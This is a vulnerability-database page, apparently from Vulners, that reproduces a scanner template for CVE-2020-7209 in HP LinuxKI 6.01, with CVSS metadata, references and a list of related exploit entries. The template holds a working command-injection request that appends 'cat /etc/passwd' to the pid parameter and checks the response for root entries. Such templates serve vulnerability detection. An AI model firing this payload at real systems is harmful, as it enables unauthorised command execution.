LinuxKI Toolset <= 6.01 - Remote Command Execution
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
 | LinuxKI Toolset 6.01 CVE-2020-7209 - Remote Command Execution | 12 Jun 202013:10 | – | 0daydb |
| Linux/x86 ASLR Deactivation Polymorphic - Shellcode | 12 Jun 202013:13 | – | 0daydb |
| Frigate 3.36.0.9 - Local Buffer Overflow | 9 Jun 202013:53 | – | 0daydb |
 | HP LinuxKI 6.01 - Remote Command Injection Exploit | 19 May 202000:00 | – | zdt |
| LinuxKI Toolset 6.01 Remote Command Execution Exploit | 10 Jun 202000:00 | – | zdt |
 | CVE-2020-7209 | 13 Feb 202000:15 | – | attackerkb |
 | Linux RCE | 18 Mar 202000:00 | – | bdu_fstec |
 | CVE-2020-7209 | 10 Jun 202009:57 | – | circl |
 | HP LinuxKI Command Injection (CVE-2020-7209) | 7 Mar 202200:00 | – | checkpoint_advisories |
 | CVE-2020-7209 | 12 Feb 202023:24 | – | cve |
10
id: CVE-2020-7209
info:
name: LinuxKI Toolset <= 6.01 - Remote Command Execution
author: dwisiswant0
severity: critical
description: LinuxKI v6.0-1 and earlier are vulnerable to remote code execution.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
remediation: This is resolved in release 6.0-2.
reference:
- http://packetstormsecurity.com/files/157739/HP-LinuxKI-6.01-Remote-Command-Injection.html
- http://packetstormsecurity.com/files/158025/LinuxKI-Toolset-6.01-Remote-Command-Execution.html
- https://github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-2
- https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
- https://www.hpe.com/us/en/home.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-7209
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-7209
epss-score: 0.98751
epss-percentile: 0.99925
cpe: cpe:2.3:a:hp:linuxki:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: hp
product: linuxki
tags: cve,cve2020,rce,packetstorm,hp,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
# digest: 490a00463044022072e36a82eb0356700154afcebe91e2173134092f01ce2daebd6c63c55f1459b702204a5922de46a29f906a15d3d606da5714f1930991b2aa859c894d0508f72c64d5:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
8.9High risk
Vulners AI Score8.9
CVSS 27.5
CVSS 3.19.8
EPSS0.98751